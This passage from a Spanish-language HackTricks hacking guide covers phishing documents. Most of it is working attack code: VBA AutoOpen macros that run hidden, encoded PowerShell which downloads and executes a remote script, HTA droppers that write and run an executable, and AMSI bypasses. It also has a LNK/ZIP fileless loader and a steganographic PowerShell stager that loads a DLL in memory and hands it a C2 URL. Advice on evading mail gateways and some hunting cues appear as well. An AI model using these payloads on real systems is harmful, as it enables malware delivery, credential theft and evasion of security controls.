Archivos y Documentos de Phishing

Reading time: 11 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Documentos de Office

Microsoft Word realiza la validación de datos del archivo antes de abrirlo. La validación de datos se realiza en forma de identificación de la estructura de datos, contra el estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo analizado no se abrirá.

Por lo general, los archivos de Word que contienen macros usan la extensión .docm. Sin embargo, es posible renombrar el archivo cambiando la extensión y aún mantener sus capacidades de ejecución de macros.
Por ejemplo, un archivo RTF no admite macros, por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.
Los mismos mecanismos y funcionamiento interno se aplican a todo el software de la Microsoft Office Suite (Excel, PowerPoint, etc.).

Puedes usar el siguiente comando para comprobar qué extensiones serán ejecutadas por algunos programas de Office:

bash
assoc | findstr /i "word excel powerp"

Los archivos DOCX que referencian una plantilla remota (File –Options –Add-ins –Manage: Templates –Go) que incluye macros también pueden “ejecutar” macros.

Carga de imagen externa

Ir a: Insert --> Quick Parts --> Field
Categorías: Enlaces y referencias, Nombres de campo: includePicture, y Nombre de archivo o URL: http:///whatever

Macros Backdoor

Es posible usar macros para ejecutar código arbitrario desde el documento.

Funciones de autoload

Cuanto más comunes sean, más probable será que el AV las detecte.

  • AutoOpen()
  • Document_Open()

Ejemplos de código de macros

vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
vba
Sub AutoOpen()

Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"

End Sub
vba
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
vba
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>

Eliminar metadatos manualmente

Vaya a Archivo > Información > Inspeccionar documento > Inspeccionar documento, lo que abrirá el Document Inspector. Haga clic en Inspeccionar y luego en Quitar todo junto a Propiedades del documento e información personal.

Extensión del documento

Cuando haya terminado, seleccione el desplegable Save as type, cambie el formato de .docx a Word 97-2003 .doc.
Haga esto porque no puedes guardar macros dentro de un .docx y existe un estigma alrededor de la extensión habilitada para macros .docm (p. ej. el icono en miniatura tiene un gran ! y algunos gateways web/correo los bloquean por completo). Por lo tanto, esta extensión legacy .doc es el mejor compromiso.

Malicious Macros Generators

HTA Files

Un HTA es un programa de Windows que combina HTML y lenguajes de scripting (como VBScript y JScript). Genera la interfaz de usuario y se ejecuta como una aplicación "plenamente confiable", sin las limitaciones del modelo de seguridad de un navegador.

Un HTA se ejecuta usando mshta.exe, que típicamente se instala junto con Internet Explorer, haciendo que mshta dependa de IE. Por lo tanto, si este ha sido desinstalado, los HTA no podrán ejecutarse.

html
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>

<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function

Pwn
</script>
</html>
html
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"

Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function

var_func
self.close
</script>

Forzar la autenticación NTLM

Hay varias formas de forzar la autenticación NTLM "remotely", por ejemplo, podrías añadir imágenes invisibles a correos o HTML que el usuario accederá (¿incluso HTTP MitM?). O enviar a la víctima la dirección de archivos que dispararán una autenticación solo por abrir la carpeta.

Consulta estas ideas y más en las siguientes páginas:

Force NTLM Privileged Authentication

Places to steal NTLM creds

NTLM Relay

No olvides que no solo puedes robar el hash o la autenticación, sino también realizar NTLM relay attacks:

LNK Loaders + ZIP-Embedded Payloads (fileless chain)

Campañas altamente efectivas entregan un ZIP que contiene dos documentos señuelo legítimos (PDF/DOCX) y un .lnk malicioso. El truco es que el PowerShell loader real está almacenado dentro de los bytes crudos del ZIP después de un marcador único, y el .lnk lo extrae y ejecuta completamente en memoria.

Flujo típico implementado por la one-liner de PowerShell del .lnk:

  1. Localiza el ZIP original en rutas comunes: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, y el padre del directorio de trabajo actual.
  2. Lee los bytes del ZIP y encuentra un marcador hardcoded (p. ej., xFIQCV). Todo lo que venga después del marcador es el PowerShell payload embebido.
  3. Copia el ZIP a %ProgramData%, extráelo allí y abre el .docx señuelo para aparentar legitimidad.
  4. Eludir AMSI para el proceso actual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
  5. Desofuscar la siguiente etapa (p. ej., eliminar todos los caracteres '#') y ejecutarla en memoria.

Ejemplo de esqueleto de PowerShell para extraer y ejecutar la etapa embebida:

powershell
$marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths    = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx   = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code

Notas

  • La entrega suele abusar de subdominios reputados de PaaS (p. ej., *.herokuapp.com) y puede filtrar los payloads (servir ZIP benignos según IP/UA).
  • La etapa siguiente frecuentemente descifra shellcode en base64/XOR y lo ejecuta vía Reflection.Emit + VirtualAlloc para minimizar artefactos en disco.

Persistence used in the same chain

  • COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:

COM Hijacking

Hunting/IOCs

  • Archivos ZIP que contienen la cadena marcador ASCII (p. ej., xFIQCV) anexada a los datos del archivo.
  • .lnk que enumera parent/user folders para localizar el ZIP y abre un documento señuelo.
  • Manipulación de AMSI vía [System.Management.Automation.AmsiUtils]::amsiInitFailed.
  • Hilos de negocio de larga ejecución que terminan con enlaces alojados bajo dominios PaaS de confianza.

Steganography-delimited payloads in images (PowerShell stager)

Cadenas de loader recientes entregan un JavaScript/VBS ofuscado que decodifica y ejecuta un PowerShell stager en Base64. Ese stager descarga una imagen (a menudo GIF) que contiene un .NET DLL codificado en Base64 oculto como texto plano entre marcadores únicos de inicio/fin. El script busca esos delimitadores (ejemplos observados en la naturaleza: «<<sudo_png>> … <<sudo_odt>>>»), extrae el texto intermedio, lo decodifica de Base64 a bytes, carga el assembly en memoria e invoca un método de entrada conocido con la URL de C2.

Flujo de trabajo

  • Stage 1: Archived JS/VBS dropper → decodifica Base64 embebido → lanza PowerShell stager con -nop -w hidden -ep bypass.
  • Stage 2: PowerShell stager → descarga la imagen, extrae (carves) Base64 delimitado por marcadores, carga el .NET DLL en memoria y llama a su método (p. ej., VAI) pasando la URL de C2 y opciones.
  • Stage 3: El loader obtiene el payload final y típicamente lo inyecta vía process hollowing en un binario de confianza (comúnmente MSBuild.exe). See more about process hollowing and trusted utility proxy execution here:

Common API used in Malware

Ejemplo de PowerShell para extraer un DLL de una imagen e invocar un método .NET en memoria:

Extractor y cargador de payload stego en PowerShell
powershell
# Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory
param(
[string]$Url    = 'https://example.com/payload.gif',
[string]$StartM = '<<sudo_png>>',
[string]$EndM   = '<<sudo_odt>>',
[string]$EntryType = 'Loader',
[string]$EntryMeth = 'VAI',
[string]$C2    = 'https://c2.example/payload'
)
$img = (New-Object Net.WebClient).DownloadString($Url)
$start = $img.IndexOf($StartM)
$end   = $img.IndexOf($EndM)
if($start -lt 0 -or $end -lt 0 -or $end -le $start){ throw 'markers not found' }
$b64 = $img.Substring($start + $StartM.Length, $end - ($start + $StartM.Length))
$bytes = [Convert]::FromBase64String($b64)
$asm = [Reflection.Assembly]::Load($bytes)
$type = $asm.GetType($EntryType)
$method = $type.GetMethod($EntryMeth, [Reflection.BindingFlags] 'Public,Static,NonPublic')
$null = $method.Invoke($null, @($C2, $env:PROCESSOR_ARCHITECTURE))

Notas

  • This is ATT&CK T1027.003 (steganography/marker-hiding). Markers vary between campaigns.
  • AMSI/ETW bypass and string deobfuscation are commonly applied before loading the assembly.
  • Hunting: scan downloaded images for known delimiters; identify PowerShell accessing images and immediately decoding Base64 blobs.

See also stego tools and carving techniques:

Stego Tricks

JS/VBS droppers → Base64 PowerShell staging

A recurring initial stage is a small, heavily‑obfuscated .js or .vbs delivered inside an archive. Its sole purpose is to decode an embedded Base64 string and launch PowerShell with -nop -w hidden -ep bypass to bootstrap the next stage over HTTPS.

Skeleton logic (abstract):

  • Read own file contents
  • Locate a Base64 blob between junk strings
  • Decode to ASCII PowerShell
  • Execute with wscript.exe/cscript.exe invoking powershell.exe

Hunting cues

  • Archived JS/VBS attachments spawning powershell.exe with -enc/FromBase64String in the command line.
  • wscript.exe launching powershell.exe -nop -w hidden from user temp paths.

Windows files to steal NTLM hashes

Consulta la página sobre places to steal NTLM creds:

Places to steal NTLM creds

References

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks